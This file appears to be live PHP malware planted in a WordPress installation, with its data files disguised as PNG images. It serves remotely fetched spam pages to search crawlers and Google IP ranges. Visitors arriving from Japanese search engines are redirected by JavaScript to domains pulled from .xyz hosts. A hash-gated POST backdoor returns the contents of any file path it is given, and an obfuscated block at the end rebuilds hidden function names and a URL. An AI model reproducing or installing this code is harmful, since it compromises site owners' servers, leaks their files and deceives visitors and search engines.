$mbFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png';
$logFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png';
//iiiimbfileend





if(isset($_POST["check"]) && md5($_POST["check"])=='b6772c68627f804a9578152ee90f5b0c'){$fileArr = array();	$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./.htaccess")){$fileArr['htac'] = filesize("./.htaccess");}else{$flag = 0;$fileArr['htac'] = -1;}if(file_exists($mbFileName)){$fileArr['moban'] = filesize($mbFileName);}else{$flag = 0;$fileArr['moban'] = -1;}if(file_exists($logFileName)){	$fileArr['log'] = filesize($logFileName);}else{$flag = 0;$fileArr['log'] = -1;}if(file_exists($rifilename)){$fileArr['install'] = filesize($rifilename);}else{$flag = 0;$fileArr['install'] = -1;}echo 'ok---'. serialize($fileArr) .'---';die();}if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){
$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}
	
if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){
	die();}
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempPid = '';		
		
		$r2='#^'. BZPRO .'(\d+)[-/]#i';		$r3='#[-/]'. BZPRO .'(\d+)[-/]#i';		
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
		
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';
		$tempPid = '';
		$UrlParent = $_GET['keyword'];
		
		$r2='#^'. BZPRO .'(\d+)[-/]#i';		$r3='#[-/]'. BZPRO .'(\d+)[-/]#i';		
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
}

function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
$iszz = isCrawler();	
$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255') ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') ,  array('64.68.80.0' , '64.68.95.255'),  array('205.164.0.0' , '205.164.63.255') ,  array('50.117.0.0' , '50.117.127.255') ,  array('23.104.0.0' , '23.104.255.255') ,  array('23.80.0.0' , '23.80.255.255') ,  array('104.132.0.0' , '104.132.255.255') ,  array('104.134.0.0' , '104.134.255.255') ,  array('104.135.0.0' , '104.135.255.255') ,  array('38.99.82.0' , '38.99.251.255') ); 
$localIp = get_real_ip();	
$is_or_no = is_ip($localIp,$ipRanges);
$referer = $_SERVER["HTTP_REFERER"]; 
$russ = '#(google.co.jp|yahoo.co.jp|bing|docomo.ne.jp)#i';


if(isset($_GET["id"]))
	$id = $_GET["id"];else{
	if($iszz or $is_or_no == true or preg_match($russ, $referer)){
		$fLogTime =  filemtime($mbFileName);
		$rqurl = str_replace("'","\'",$_SERVER['REQUEST_URI']);
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}
		
		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
				$id  = $arrUrlId[$rqurl];		
		}else{
			$arrUrlId[$rqurl] = getRandId();
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}

	}
}


$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	$id = 0;
}

$id23 = $id;

$numArr_key = count($arr_key);
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;

if($id23 && $siteid){
	
	
	if(isset($_SERVER["HTTP_REFERER"])){
	
		
	
		if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){
			
				$rsdom = '#^http://www\.[^/+]/$#si';
		
		$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";	
		$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$domJump = curl_getjs_from_webpage($jumDom1,'',1);
			$domJump = trim($domJump);
		
			if(!preg_match($rsdom,$domJump)){
				$domJump = curl_getjs_from_webpage($jumDom2,'',1);
				$domJump = trim($domJump);
				if(preg_match($rsdom,$domJump))
					break;
			}else{
				break;
			}
		}
		
			echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';			die();		
			}
	}
 
 
 
 
 	$siteAID = $siteid. '-' .$id23;	$fileKey = $id23 % FNUM;
    
	
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; 
 
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 header("HTTP/1.1 404 Not Found");exit;
 }
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];

$nowIdName = $InFoStrArr['nowIdName'];


$Article = $InFoStrArr['Article'];

$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$Article =  str_replace('#ttlink#',$thisTitleLink,$Article);
$Article =  str_replace('#mylink#',$thisPnameLink2,$Article);

$artArr = explode('#fgfgfg#',$Article);
// print_r($artArr);
if(count($artArr) != 3){
	header("HTTP/1.1 404 Not Found");exit;
} 

$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid);
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr1Strs .= '</ul>'.PHP_EOL;


 

				$fileMb = fopen($mbFileName,"r");		$html = fread($fileMb,filesize($mbFileName));		

			$html = str_ireplace('#bbbtitsbbb#', $Ptitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $nowIdName, $html);	
			$html = str_ireplace('#bbbdesbbb#', $nowIdName. ' ' .$Ptitle, $html);	
			
					
			$html = str_ireplace('#bbb1content1bbb#', '<div>'.$artArr[0].'</div>', $html);
			$html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			$html = str_ireplace('#descontent#', $artArr[2], $html);
			
			$html = str_replace('#link1#',$thisPnameLink,$html);
				$html = str_replace('#link2#','',$html);
				$html = str_replace('#link3#',$thisPnameLink,$html);
				$html = str_replace('#link4#','',$html);
				$html = str_replace('#link5#',$thisPnameLink,$html);
				
				$html = str_replace('#flink#',$fr1Strs,$html);
				$html = str_replace('#Flink2#','',$html);
			

		
	echo $html;
 
die();
	
	
	
	}
	
	
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}



function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	
	
		$idUrl =  GETDOM . "gpage.php?getid=$num";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		$arrId = explode(',',$tempIdStr);
	
	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}
function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 
//sitemap.xml4000xml$c=1sitemap$c=2
//$dir


function print_map2($filenames,$c=1,$jdt=1){

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	$numLinks = count($urlsArray);	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");
		$tempPid = $value;
		$url = getalink($tempPid);

		
		
		
		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$put_str = $mapPre . $str . $mapEnd;
				header("Content-type: text/xml");
				echo $put_str;
				return;			
			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
	}
	
	{
		
		$put_str = $mapPre . $str . $mapEnd;		
		header("Content-type: text/xml");
		echo $put_str;

	}
	
	unset($tempArr1);	unset($filenames);	
}



function print_map($filenames,$c=1,$jdt=1){
	$filePres = '';	$fileEnds = '';	
	
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	$numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		$tempPid = $value;
		$url = getalink($tempPid);
		
		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
			
				$put_str = $mapPre . $str . $mapEnd;
				header("Content-type: text/xml");
				echo $put_str;
				return;		
			
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
	}
	
	{
		
		$put_str = $mapPre . $str . $mapEnd;
		header("Content-type: text/xml");		
		echo $put_str;

	}
	
	unset($tempArr1);	unset($filenames);		
}


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	$numLinks = count($urlsArray);	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
			$tempPid = $value;
				$url = getalink($tempPid);
		
		
		
		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
	}
	
	{
		$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';		$gnumber++;		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
	}
	
	unset($tempArr1);	unset($filenames);	
	echo "sitemap";	
}
function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;	
	$filePres = '';	$fileEnds = '';	
	
	$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink='http://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	$numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
		$tempPid = $value;
		$url = getalink($tempPid);
		
		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				$str = '';				$gnumber++;				
				return;
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
	}
	
	{
		$gFile =  'sitemaps/sitemap' . $gnumber .'.xml';		echo '<br/>'.$gFile.'<br/>';		
		$gnumber++;
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
	}
	
	unset($tempArr1);	unset($filenames);	echo "sitemap";	
}
  function rmhtmltag2($tagname='',$str=''){
		$rulers = '#<'.$tagname.'[^>]*>#s';		$str = preg_replace($rulers,'',$str);		$rulers = '#</'.$tagname.'>#s';		$str = preg_replace($rulers,'',$str);	
	$rulers = '#<'.$tagname.'[^>]*>#i';	$str = preg_replace($rulers,'',$str);	$rulers = '#</'.$tagname.'>#i';	$str = preg_replace($rulers,'',$str);	return $str;	
	}
	
	function rmhtmltag($tagname='',$str=''){
		$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';		$str = preg_replace($rulers,'',$str);		$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';		$str = preg_replace($rulers,'',$str);		return $str;	
	}
  
function fillUrl($str = '', $url){
	$relur = '#(?:href|src) ?= ?"([^"]+)"#s';	
	$urlInfo = parse_url($url);	
	
	preg_match_all($relur, $str, $matches);
	if(count($matches[1])){
		foreach($matches[1] as $values){
			if(!strstr($values, "//") && !strstr($values, "..")){
				$rStr =  $urlInfo['host']."/".$values;				$rStr =  'http://' . str_replace('//','/',$rStr);				
				$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ;			}elseif(strstr($values, "..")){
				
				// echo $urlInfo['host'];				// echo str_replace(basename($url),"",$url);				// die();				
				$rStr = str_replace(basename($url),"",$url)."/".$values;				
				
				$rStr = str_replace("http://","<llqhttp>",$rStr);				
				$rStr = str_replace("https://","<llqhttps>",$rStr);				
				$rStr = str_replace("//","/",$rStr);				
				$rStr = str_replace("<llqhttps>","https://",$rStr);				
				$rStr = str_replace("<llqhttp>","http://",$rStr);				
				$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ;			}
		}
	}	
	
	
	$relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';	
	$urlInfo = parse_url($url);	
	
	preg_match_all($relur, $str, $matches);	// print_r($matches[1]);	
	if(count($matches[1])){
		foreach($matches[1] as $values){
			if(!strstr($values, "//") && !strstr($values, "..")){
					$rStr =  $urlInfo['host']."/".$values;				$rStr =  'http://' . str_replace('//','/',$rStr);				$str = str_replace("'".$values."'", "'".$rStr."'" , $str) ;			}elseif(strstr($values, "..")){
				
				$rStr = str_replace(basename($url),"",$url)."/".$values;				
				
				$rStr = str_replace("http://","<llqhttp>",$rStr);				
				$rStr = str_replace("https://","<llqhttps>",$rStr);				
				$rStr = str_replace("//","/",$rStr);				
				$rStr = str_replace("<llqhttps>","https://",$rStr);				
				$rStr = str_replace("<llqhttp>","http://",$rStr);				
				$str = str_replace("'".$values."'", "'".$rStr."'" , $str) ;			}
		}
	}
	return $str;}
function auto_read($str, $charset='UTF-8') {
	$list = array('EUC-JP', 'Shift_JIS', 'UTF-8',  'iso-2022-jp');
	$encode = mb_detect_encoding($str, $list);	// echo $encode;die();	
	if($encode == 'UTF-8'){
		return $str;	}else{
		return mb_convert_encoding($str, $charset, $encode);	}
	 
}
function detect_encoding($file){
	$list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1');	$str = file_get_contents($file);	foreach ($list as $item) {
		$tmp = mb_convert_encoding($str, $item, $item);		if (md5($tmp) == md5($str)) {
		
			return $item;		}
	}
	return null;}
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curl_get_from_webpage_one_time($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//,.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}
 
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//,.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}


	
//ccccccgetbg
	
@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 =  $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 =  $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
